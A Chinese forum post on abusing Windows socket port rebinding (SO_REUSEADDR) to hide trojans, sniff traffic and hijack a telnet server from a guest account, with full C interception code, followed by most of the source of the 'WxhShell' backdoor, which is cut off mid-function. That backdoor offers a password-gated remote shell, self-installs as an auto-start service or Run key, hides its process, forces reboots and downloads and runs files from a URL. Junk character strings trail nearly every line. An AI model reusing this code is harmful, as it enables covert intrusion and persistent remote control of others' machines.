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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: F2!C^r,~L  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); l<qK' P4  
{Y-<#U~iH  
  saddr.sin_family = AF_INET; 8<ZxE(v  
1P(rgn:8e  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^c3~CD5H 3  
so}(*E&(a  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $}&Y$w>S  
2= 'gC|&s6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 j+AAhn  
lR[[]Yn  
  这意味着什么?意味着可以进行如下的攻击: ^6s<  
OcQ>01Q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]TQ2PVN2  
i:W.,w%8  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) t%Hg8oya  
7K3S\oPej  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 n{JBC%^g  
<6g{vNA  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  dC8 $Ql^<  
Rhh5r0 \5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ax$ashFO/!  
l,j7I3&~%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 R6l`IlG`  
xR;>n[6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "D#+:ix8G|  
0Oy.&C T  
  #include ^o&3+s} M  
  #include %(lr.9.]H  
  #include T-e'r  
  #include    Q@]~O-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~ 8L]!OQ9=  
  int main() Y,BzBUWK  
  { K|JpkEw  
  WORD wVersionRequested; -]yM<dP  
  DWORD ret; {*utke]}*  
  WSADATA wsaData; n;&08M5an}  
  BOOL val; to9~l"n.s  
  SOCKADDR_IN saddr; LsaE-l  
  SOCKADDR_IN scaddr; |@'/F#T  
  int err; 1 ; _tu  
  SOCKET s; 2I'gT$h  
  SOCKET sc; Y%<y`]I  
  int caddsize; "#zSk=52z  
  HANDLE mt; wEd+Ds]$  
  DWORD tid;   g7\MFertR^  
  wVersionRequested = MAKEWORD( 2, 2 ); 38ac~1HjE  
  err = WSAStartup( wVersionRequested, &wsaData ); +/xmxh$ $  
  if ( err != 0 ) { r{NCI  
  printf("error!WSAStartup failed!\n"); sBUK v(U)  
  return -1; 9*s''=  
  } %f[0&)1!.v  
  saddr.sin_family = AF_INET; & Xh8j^p'  
   ."`mh&+`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^a+W!  
])`+ 78  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); KX8$j$yW  
  saddr.sin_port = htons(23); scr`] tD  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m~7[fgN2  
  { /G[2   
  printf("error!socket failed!\n"); @4sEHk 3  
  return -1; 2;8I0BH*'  
  } :+?eF^ 5  
  val = TRUE; +]?/c>M  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _#f+@)vR  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) dU4  h  
  { ,orq&#*Wd  
  printf("error!setsockopt failed!\n"); Pv-El+e!  
  return -1; h\qQ%|X  
  } >.sdLA Si  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .kbo]P  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (i3V  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }uZtAH|  
vI84= n  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) I`e$U  
  { n,,hE_  
  ret=GetLastError(); *:r6E  
  printf("error!bind failed!\n"); &\n<pXQ  
  return -1; Z}X oWT2f  
  } :A,g:B  
  listen(s,2); -_%8Q#"  
  while(1) 5Q/&,NP  
  { G 51l_  
  caddsize = sizeof(scaddr); *8I+D>x  
  //接受连接请求 b\Wlpb=QZ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); N*^iOm]Y  
  if(sc!=INVALID_SOCKET) yW =I*f  
  { to2#PXf]y  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 'R-Ly^:Qd  
  if(mt==NULL) HQ187IwpTm  
  { iY~.U`b`  
  printf("Thread Creat Failed!\n"); ~8oti4  
  break; {zck Y  
  } OuZPgN  
  } bU3P; a(  
  CloseHandle(mt); `/e EdqT  
  } rd )_*{  
  closesocket(s); %pJRu-D  
  WSACleanup(); R>C^duos.  
  return 0; V/t/uNm  
  }   `d,v  
  DWORD WINAPI ClientThread(LPVOID lpParam) e> zv+9'Q  
  { _ArN[]Z  
  SOCKET ss = (SOCKET)lpParam; Tr6J+hS  
  SOCKET sc; vC [uEx:  
  unsigned char buf[4096]; R(^2+mV?  
  SOCKADDR_IN saddr; 23(j<  
  long num; |_h$}~ ;  
  DWORD val; Z[Z3x6 6  
  DWORD ret;  /N8>>g  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &^7^7:Y=?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   v1j&oA}$.  
  saddr.sin_family = AF_INET; ,N1I\f  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); i"_@iN0N  
  saddr.sin_port = htons(23); *x<3=9V  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }x~1w:z Hd  
  { H6oU Ne  
  printf("error!socket failed!\n"); .7K<9K+P  
  return -1; (DnrJ.QU}t  
  } 'JpCS  
  val = 100; LkwjEJQf  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @ L=dcO{r  
  { qib4DT$v-6  
  ret = GetLastError(); {/2 _"H3:  
  return -1; n85d g  
  } K\VL[HP-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DX b=Ku  
  { 6>d0i S@R  
  ret = GetLastError(); \2^_v' >K  
  return -1; Ve9*>6i&-4  
  } \1MMz Z4rf  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @s % !R  
  { .QLjaEja  
  printf("error!socket connect failed!\n"); LD gGVl  
  closesocket(sc); XIRvIwO  
  closesocket(ss); *>,#'C2  
  return -1; _qp^+  
  }  K?]c  
  while(1) "V3f"J?  
  { 40m>~I^q}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 y3Q2d7G  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \1f&D!F]b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 qZB}}pM#  
  num = recv(ss,buf,4096,0); s;Sv@=\  
  if(num>0) :(TOtrK@  
  send(sc,buf,num,0); B 4RP~^  
  else if(num==0) g+pj1ycw/  
  break; N6<G`k,  
  num = recv(sc,buf,4096,0); 6483v'  
  if(num>0) d#cEAy  
  send(ss,buf,num,0); +2 x|j>  
  else if(num==0) %<yH6h*u  
  break; ;-"'sEu}  
  } | HfN<4NL  
  closesocket(ss); PCX X[N  
  closesocket(sc); EF5:$#  
  return 0 ; VI(2/**  
  } 9*CJWS;  
H+?@LPV*N  
Q$:>yveR*  
========================================================== .?dYY;P  
)9~-^V0A^>  
下边附上一个代码,,WXhSHELL %(d0`9  
17) `CM$<[  
========================================================== )o N#%%SB<  
i"OY=iw-N  
#include "stdafx.h" rZkl0Y;n\  
X{-901J1  
#include <stdio.h> 3c[< #] 8S  
#include <string.h> 9`|~- b  
#include <windows.h> CU_8 `}  
#include <winsock2.h> GI[XcK^*w  
#include <winsvc.h> #4wia%}u  
#include <urlmon.h> ~(Xzm  
^#p+#_*V  
#pragma comment (lib, "Ws2_32.lib") ;pVnBi  
#pragma comment (lib, "urlmon.lib") OqlP_^Zz7p  
!v?WyGbUg  
#define MAX_USER   100 // 最大客户端连接数 mY0FewwTy  
#define BUF_SOCK   200 // sock buffer ?a{es!  
#define KEY_BUFF   255 // 输入 buffer Og/@w&  
mb#&yK(h  
#define REBOOT     0   // 重启 )Bpvi4O  
#define SHUTDOWN   1   // 关机 {-.ZFUZmT  
' "I-! +  
#define DEF_PORT   5000 // 监听端口 ;T\'|[bY   
V)#rP?Y  
#define REG_LEN     16   // 注册表键长度 `HV~.C  
#define SVC_LEN     80   // NT服务名长度 )Nkf'&  
B4{clI_i  
// 从dll定义API MwO`DrV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); TV[@!E a  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); atYe$Db  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DWmViuZmL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M) Z3q  
u~\l~v^mj  
// wxhshell配置信息 3Ued>8Gv  
struct WSCFG { `R@b`3*%v  
  int ws_port;         // 监听端口 p?e-`xs  
  char ws_passstr[REG_LEN]; // 口令 R,f"2 k  
  int ws_autoins;       // 安装标记, 1=yes 0=no dH_g:ocA  
  char ws_regname[REG_LEN]; // 注册表键名 |]+PDc%  
  char ws_svcname[REG_LEN]; // 服务名 MGfIA?u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 MVXy)9q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `Yw:<w\4C  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w3Z;&sFd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no PsCr[\Ul  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {/}p"(^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <MzXTy3\  
a1 .+L  
}; &)GlLpaT  
6hAMk<kx?i  
// default Wxhshell configuration *7UDTgY  
struct WSCFG wscfg={DEF_PORT, ;'P<#hM[$  
    "xuhuanlingzhe", 'Z 82+uU%  
    1, ' T%70)CM~  
    "Wxhshell", }4XXNYH  
    "Wxhshell", ~?<VT k  
            "WxhShell Service", U8GvUysB!  
    "Wrsky Windows CmdShell Service", M.0N`NmS  
    "Please Input Your Password: ", z\r29IRh  
  1, 1,Ji|&Pwf  
  "http://www.wrsky.com/wxhshell.exe", /\ u1q<  
  "Wxhshell.exe" J8#3?Lp  
    }; d6+{^v$#  
R~H+.Vh  
// 消息定义模块 W $EAo+V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HrH! 'bd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K} TSwY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v%!'vhf_K  
char *msg_ws_ext="\n\rExit."; 5%;=(Oig  
char *msg_ws_end="\n\rQuit."; 3iBUIv  
char *msg_ws_boot="\n\rReboot..."; [28Vf"#]  
char *msg_ws_poff="\n\rShutdown..."; 8Q\ T,C  
char *msg_ws_down="\n\rSave to "; 53O}`xX!6  
4M*!'sG\  
char *msg_ws_err="\n\rErr!"; k btQ  
char *msg_ws_ok="\n\rOK!"; Yrmd hSY  
. E? a  
char ExeFile[MAX_PATH]; #s3R4@{  
int nUser = 0; <z R CT  
HANDLE handles[MAX_USER]; JHCXUT-r{  
int OsIsNt; (Qj;B)  
`i{p6-U3  
SERVICE_STATUS       serviceStatus; *(CV OY~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; TpAso[r  
vG#,J&aW  
// 函数声明 "s.s(TR8  
int Install(void); [VY265)g  
int Uninstall(void); &"mWi-Mpl  
int DownloadFile(char *sURL, SOCKET wsh); O 2W2&vY  
int Boot(int flag); :XCRKRDLE  
void HideProc(void); pz,iQUs _o  
int GetOsVer(void); ~__rI-/_  
int Wxhshell(SOCKET wsl); p%ZAVd*|#V  
void TalkWithClient(void *cs); Zx U?d   
int CmdShell(SOCKET sock); MD>xRs   
int StartFromService(void); :@K~>^+U  
int StartWxhshell(LPSTR lpCmdLine); {q.|UCg[L  
l?:S)[:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IA^*?,AZy  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %eW2w@8]  
iPdR;O'  
// 数据结构和表定义 wrAcVR  
SERVICE_TABLE_ENTRY DispatchTable[] = yyc4'j+  
{ d~z%kl 5:  
{wscfg.ws_svcname, NTServiceMain}, ,)Z1&J?  
{NULL, NULL} ^|ul3_'?  
};  7;$[s6$  
O[W/=j[  
// 自我安装 Dgm"1+  
int Install(void) ~vB dq Yj  
{ YWhp4`m  
  char svExeFile[MAX_PATH]; s(cC ;  
  HKEY key; |DLmMsS4  
  strcpy(svExeFile,ExeFile); e7M6|6nb  
*  \%b1  
// 如果是win9x系统,修改注册表设为自启动 }$@E pM  
if(!OsIsNt) { 5~{s-Ms  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U~O*9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *nlDN4Y[  
  RegCloseKey(key); h=ben&m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XU6SYC"t%~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1R"Z+tNB  
  RegCloseKey(key); |SuN3B4e  
  return 0; 51Q~/  
    } M sQ=1  
  } j W/*-:  
} s7s@!~  
else { UAOH9*9*  
Bj* M W  
// 如果是NT以上系统,安装为系统服务 HiSNEp$-4$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :ioD  *k  
if (schSCManager!=0) lt& c/xi_  
{ o?S!o}  
  SC_HANDLE schService = CreateService GU7f27p  
  ( fF.sT7Az+  
  schSCManager, 1;JH0~403  
  wscfg.ws_svcname, ?<U">8cP  
  wscfg.ws_svcdisp, ^b6yN\,S  
  SERVICE_ALL_ACCESS, 5 #Et.P'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Mi047-% (  
  SERVICE_AUTO_START, q+W* ?a)  
  SERVICE_ERROR_NORMAL, /A93mY[  
  svExeFile, 2q ~y\fe  
  NULL, ASUleOI79(  
  NULL, c|Fu6LF a  
  NULL, 2<tU  
  NULL, PGhYkj2  
  NULL SHRn $<  
  ); )wCV]TdF  
  if (schService!=0) B~2M/&rM\  
  { 3c[]P2Bh  
  CloseServiceHandle(schService); k:#u%Z   
  CloseServiceHandle(schSCManager); p{[(4}ql  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K[l5=)G0L  
  strcat(svExeFile,wscfg.ws_svcname); 4D sHUc6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <ToRPx&E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `NCH^)  
  RegCloseKey(key); ;nAI;Qw L  
  return 0; G#j~8`3X  
    } o<Qt<*  
  } ;@H:+R+(  
  CloseServiceHandle(schSCManager); naVbcY  
} F<J`1 :  
} <jG[ z69)  
]MnQ3bWq"j  
return 1; $Z<x r  
} z m+3aF  
.zsY VtK  
// 自我卸载 7' Gk ip  
int Uninstall(void)  bU$M)  
{ I-m Bj8^;  
  HKEY key; fPq)Lx1'  
~nb1c:F  
if(!OsIsNt) { dZCnQIS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #,9#x]U#v  
  RegDeleteValue(key,wscfg.ws_regname); $ EexNz  
  RegCloseKey(key); F$jfPy-f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dP=,<H#]m  
  RegDeleteValue(key,wscfg.ws_regname); Z u/w>  
  RegCloseKey(key); WJy\{YAG  
  return 0; OM81$Xo=  
  } vQy+^deW  
} Y|ErVf4  
} : ZadPn56  
else { /xCX. C  
UmG|_7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >1$Vh=\OI  
if (schSCManager!=0)  ^w_\D?  
{ +mC?.B2D  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pj Md  
  if (schService!=0) )j. .)o  
  { *gOUpbtXa  
  if(DeleteService(schService)!=0) { eIQ@){lJ-]  
  CloseServiceHandle(schService); @a,} k<@E  
  CloseServiceHandle(schSCManager); yw >Frb5p  
  return 0; u{S"NEc  
  } 77-G*PI*I  
  CloseServiceHandle(schService); OO\$'% y`  
  } a#a n+JY3  
  CloseServiceHandle(schSCManager); (XEJd4r  
} d<[L^s9  
} W&v|-#7=6  
(*9-Fa  
return 1; rTqGtmulG  
} 'xGTaKlm,  
9I(00t_  
// 从指定url下载文件 F>eo.|'  
int DownloadFile(char *sURL, SOCKET wsh) <GLn!~Px@5  
{ gt\kTn."  
  HRESULT hr; gux?P2f  
char seps[]= "/"; /@&#U bN\  
char *token; R{pF IyR  
char *file; Z1.v%"/(  
char myURL[MAX_PATH]; ~_ u3_d.  
char myFILE[MAX_PATH]; WEtPIHruyt  
yW&ka3j\  
strcpy(myURL,sURL); =MT'e,T  
  token=strtok(myURL,seps); 3i~X`@$k>  
  while(token!=NULL) ^0-e.@  
  { y9.?5#aL  
    file=token; rU6A^p\,  
  token=strtok(NULL,seps); {C0Y8:"`  
  } MG~bDM4  
!t}yoN n|  
GetCurrentDirectory(MAX_PATH,myFILE); 6"; ITU^v  
strcat(myFILE, "\\"); /EuH2cy$l  
strcat(myFILE, file); $hMD6<e  
  send(wsh,myFILE,strlen(myFILE),0); /f drf  
send(wsh,"...",3,0); 5vJxhBm/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); '8[; m_S  
  if(hr==S_OK) P#D|CP/Cu  
return 0; i[:cG  
else h1l%\3ZH  
return 1; `YqXF=-  
xsiJI1/68  
} Pm,.[5uc  
E^$8nqCL:  
// 系统电源模块 %0 i)l|  
int Boot(int flag) `?b'.Z_J  
{ 3_`)QYU'  
  HANDLE hToken; +(y 8q  
  TOKEN_PRIVILEGES tkp; Y6Ux*vhK  
mxpj<^n}  
  if(OsIsNt) { gA% A})  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .rS. >d^n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C|h Uyo  
    tkp.PrivilegeCount = 1; #Ge_3^'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; aOS,%J^ ?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n$v4$_qS  
if(flag==REBOOT) { "eqzn KT%u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r-yUWIr S  
  return 0; `oH4"9&]k3  
} ;<_a ,5\Q  
else { n1PBpM9!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o OC&w0  
  return 0; xVgm 9s$"c  
} *ra>Kl0   
  } 1z-A3a/-  
  else { ;Rpib[m  
if(flag==REBOOT) { V1pBKr)v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C ocw%Yl  
  return 0; j>B*8*Ss  
} ,.}%\GhY  
else { ([}08OW@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Pq8oK'z -  
  return 0; ar6+n^pi0]  
} C#^y{q  
} 8A.7q  
Z)2d4:uv  
return 1; Rb.vyQ  
} _> x}MW+  
 mC$y*G  
// win9x进程隐藏模块 `GdH ,:S>  
void HideProc(void) {-8Nq`w  
{ 8Znr1=1   
/I!62?)-*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )G Alj;9A$  
  if ( hKernel != NULL ) oBo*<6  
  { 0<a|=kZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i?;#Z Nh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W/hzo*o'g  
    FreeLibrary(hKernel); kLF`6ZXtd  
  } -Dx3*ZhP  
Q;w [o  
return; "a(4])  
} EJ#I7_  
.P aDR |!  
// 获取操作系统版本 T3@2e0u )  
int GetOsVer(void) ?]$<Ufr  
{ \fiy[W/k  
  OSVERSIONINFO winfo; hxH6Ii]\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6PYt>r&TO  
  GetVersionEx(&winfo); H-+U^@w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *$BUow/>  
  return 1; |1(x2x%}D^  
  else ye9GBAj /  
  return 0; }P0bNY5?%  
} -^2p@^  
grzmW4Cw  
// 客户端句柄模块 +]A,fmI.  
int Wxhshell(SOCKET wsl) ,v K%e>e&  
{ qnboXGaFu  
  SOCKET wsh; 4KtD  k  
  struct sockaddr_in client; yuBRYy#E|%  
  DWORD myID; ;_c&J&I  
-Pp{aF e  
  while(nUser<MAX_USER) 1F,U^O  
{ \-pwA j?  
  int nSize=sizeof(client); cB){b'WJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y3DqsZ@  
  if(wsh==INVALID_SOCKET) return 1; .1RQ}Ro,<  
/y{: N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); LYECX  
if(handles[nUser]==0) O}zHkcL  
  closesocket(wsh); P|@[D=y  
else  ~d eS*  
  nUser++; )/@KdEA:  
  } #%k_V+o3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z9$pY=8^?  
9)v]jk  
  return 0; Es7 c2YdU  
} aOGoJCt C  
hRX9Du`$  
// 关闭 socket dY&v(~&;]  
void CloseIt(SOCKET wsh) X}(X\rp  
{ U<0Wa>3zj  
closesocket(wsh); /)J]ItJlz  
nUser--; !9PAfi?  
ExitThread(0); !7I07~&1  
} xjbI1qCfe  
Nm z5:Rq  
// 客户端请求句柄 [;,E cw^  
void TalkWithClient(void *cs) /kG?I_z  
{ ai$l7]7  
xbhHP2F |  
  SOCKET wsh=(SOCKET)cs; aSIb0`(3  
  char pwd[SVC_LEN]; Lm=EN%*#9  
  char cmd[KEY_BUFF]; @NA+Ma{N  
char chr[1]; ;%2+Tc-7I  
int i,j; siCi+Y  
S;#:~?dU  
  while (nUser < MAX_USER) { I\6C0x  
C('D]u$Hdk  
if(wscfg.ws_passstr) { wsB-( 0-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9_5>MmiB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J&~I4ko]  
  //ZeroMemory(pwd,KEY_BUFF); L]z8'n,  
      i=0; e_epuki  
  while(i<SVC_LEN) { A'jL+dI.  
/r'Fq =z  
  // 设置超时 33lh~+C  
  fd_set FdRead; P?>:YY53  
  struct timeval TimeOut; ,)xtl`fc  
  FD_ZERO(&FdRead); ;hq_}.  
  FD_SET(wsh,&FdRead); |+ Rx)  
  TimeOut.tv_sec=8; >g!$H}\  
  TimeOut.tv_usec=0; t=Rl`1 =(K  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); paV1o>_Rd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )fXw~  
<`SA >P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]SA/KV   
  pwd=chr[0]; >qy62:co  
  if(chr[0]==0xd || chr[0]==0xa) { <(Ar[Rp  
  pwd=0; @*xP A  
  break; (G+)v[f  
  } ZK t{3P  
  i++; ^^ix4[1$Z  
    } ?H_@/?  
ck `td%  
  // 如果是非法用户,关闭 socket J3aom,$o  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k8n9zJ8  
} [g"nu0sOK  
aO inD  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :dipk,b?n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cy6YajOk7  
=jm\8sl~~  
while(1) { 1 Lg{l  
t3.;qDy  
  ZeroMemory(cmd,KEY_BUFF); MX#LtCG#V  
Q$p3cepsK  
      // 自动支持客户端 telnet标准   7R5ebMW V  
  j=0; e9'0CH<  
  while(j<KEY_BUFF) { )xU+M{p-os  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3dZj<(.  
  cmd[j]=chr[0]; E Y !o#m  
  if(chr[0]==0xa || chr[0]==0xd) { 'tMD=MH  
  cmd[j]=0; Y#9bM $x7  
  break; //r)dN^  
  } ?vWF[ DRd'  
  j++; It2:2  
    } S/eplz;  
4yTgH0(T  
  // 下载文件 Y evd h<  
  if(strstr(cmd,"http://")) { MR4k#{:w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <M5fk?n,|  
  if(DownloadFile(cmd,wsh)) 1\lZ&KX$i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ep5`&g]3  
  else 5(1c?biP&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $mAyM+ ph[  
  } yfqe6-8U  
  else { l%0-W  
TntTR"6aD  
    switch(cmd[0]) { <7Yh<(R e^  
  )iC@n8f7o  
  // 帮助 X<W${L$G  
  case '?': { +S#Xm4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x<w-j[{k_K  
    break; u^'X>n)oL#  
  } Y HS/|-  
  // 安装 >^,?0HP  
  case 'i': { 3,hu3"@k  
    if(Install()) XCyb[(4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KT(v'KE 1  
    else [\fwnS_1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )Xt#coagS  
    break; Xyz/CZPi  
    } H<nA*Zf2@R  
  // 卸载 x{G 'IEf  
  case 'r': { M djxTr^  
    if(Uninstall()) {{pN7Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X4'!:&  
    else !"E/6z2&(k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T^$`Z.  
    break; +4qR5(W  
    } y^Q);siSy  
  // 显示 wxhshell 所在路径 ^,f^YL;  
  case 'p': { "8a ?K Q  
    char svExeFile[MAX_PATH]; oRg ,oy  
    strcpy(svExeFile,"\n\r"); Ut/%+r"s  
      strcat(svExeFile,ExeFile); @S5HMJ2=  
        send(wsh,svExeFile,strlen(svExeFile),0); at\u7>;.^k  
    break; pnL[FMc  
    } |v#D}E  
  // 重启 9`^(M^|c  
  case 'b': { ?V~vP%1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w|0:0Rc~u  
    if(Boot(REBOOT)) E*,nKJu'r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ![I|hB  
    else { m9D Tz$S.  
    closesocket(wsh); M*Q}^<E*  
    ExitThread(0); VH+3o?nrT  
    } X(#8EY}X  
    break; MIiBNNURX  
    } mxpw4  
  // 关机 tt6GtYrC 1  
  case 'd': { g"c7$  
